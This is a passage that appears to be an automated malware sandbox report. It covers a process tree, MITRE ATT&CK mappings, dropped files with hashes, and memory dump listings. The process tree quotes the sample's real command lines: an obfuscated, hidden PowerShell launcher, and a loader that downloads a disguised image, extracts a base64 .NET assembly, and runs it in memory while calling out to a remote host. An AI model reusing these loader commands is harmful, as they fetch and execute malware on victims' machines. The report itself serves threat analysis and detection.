Tre3DgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGQDgTreZgBkDgTreGYDgTreZDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBmDgTreGQDgTreZgDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBmDgTreGQDgTreZgDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBhDgTreGQDgTrecwBhDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBkDgTreGUDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreGMDgTredQDgTrenDgTreCkDgTreKQDgTre='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('DgTre','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.smhogn/25.84.011.97//:ptth' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
      4⤵
      Blocklisted process makes network request
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TM8H1H0I36ERJ9EE67VD.temp

Filesize
7KB

MD5
684412a0471d43a545cb8de9c4f23b4a

SHA1
f443933a14868cc722d2fbdb9868b70421f6d6d4

SHA256
2e5069338d706cb005551b8cf12b6f95f628d57a8531f02e64a6ae6004aa4538

SHA512
38e57161ae5c8b7ab9ec5fb75f9d92662d65d1343692a42ab5693efb9d4c164191c6bc9fbcd808038256da858d01d178042df5f2540c230a2b2b48f56909f18b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
684412a0471d43a545cb8de9c4f23b4a

SHA1
f443933a14868cc722d2fbdb9868b70421f6d6d4

SHA256
2e5069338d706cb005551b8cf12b6f95f628d57a8531f02e64a6ae6004aa4538

SHA512
38e57161ae5c8b7ab9ec5fb75f9d92662d65d1343692a42ab5693efb9d4c164191c6bc9fbcd808038256da858d01d178042df5f2540c230a2b2b48f56909f18b

Download Submit
C:\Users\Admin\AppData\Roaming\yhsdfsopl.vbs

Filesize
351KB

MD5
6043eedebfdf2d673bcf4f6b1dd4343c

SHA1
f685eff91a8bd534272877c9b74c4b6e77aeb370

SHA256
81c08b626b502bd21d5d900e25eac6568a8b7728abbcbf88602f31fa0a6ec587

SHA512
55eace1381464a262cfc5f49026985b47b030ff13c5c9729d846cab81a305d18d8b537aea61f94cb76f8cf3b50591fc2eaa12032a317619a75dd91addb96dc6c

Download Submit
C:\Users\Admin\AppData\Roaming\yhsdfsopl.vbs

Filesize
351KB

MD5
6043eedebfdf2d673bcf4f6b1dd4343c

SHA1
f685eff91a8bd534272877c9b74c4b6e77aeb370

SHA256
81c08b626b502bd21d5d900e25eac6568a8b7728abbcbf88602f31fa0a6ec587

SHA512
55eace1381464a262cfc5f49026985b47b030ff13c5c9729d846cab81a305d18d8b537aea61f94cb76f8cf3b50591fc2eaa12032a317619a75dd91addb96dc6c

Download Submit
memory/2200-1-0x0000000072BCD000-0x0000000072BD8000-memory.dmp

Filesize
44KB

Download
memory/2200-2-0x0000000072BCD000-0x0000000072BD8000-memory.dmp

Filesize
44KB

Download
memory/2200-39-0x0000000072BCD000-0x0000000072BD8000-memory.dmp

Filesize
44KB

Download
memory/2200-38-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2200-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2376-32-0x000000006CB70000-0x000000006D11B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-34-0x00000000023A0000-0x00000000023E0000-memory.dmp

Filesize
256KB

Download
memory/2376-40-0x000000006CB70000-0x000000006D11B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-35-0x00000000023A0000-0x00000000023E0000-memory.dmp

Filesize
256KB

Download
memory/2376-33-0x00000000023A0000-0x00000000023E0000-memory.dmp

Filesize
256KB

Download
memory/2376-27-0x000000006CB70000-0x000000006D11B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-30-0x00000000023A0000-0x00000000023E0000-memory.dmp

Filesize
256KB

Download
memory/2376-26-0x000000006CB70000-0x000000006D11B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-29-0x00000000023A0000-0x00000000023E0000-memory.dmp

Filesize
256KB

Download
memory/2376-28-0x00000000023A0000-0x00000000023E0000-memory.dmp

Filesize
256KB

Download
memory/2596-15-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/2596-16-0x000000006CB70000-0x000000006D11B000-memory.dmp

Filesize
5.7MB

Download
memory/2596-14-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/2596-17-0x000000006CB70000-0x000000006D11B000-memory.dmp

Filesize
5.7MB

Download
memory/2596-20-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/2596-19-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/2596-13-0x000000006CB70000-0x000000006D11B000-memory.dmp

Filesize
5.7MB

Download
memory/2596-12-0x000000006CB70000-0x000000006D11B000-memory.dmp

Filesize
5.7MB

Download
memory/2596-18-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/2596-41-0x000000006CB70000-0x000000006D11B000-memory.dmp

Filesize
5.7MB

Download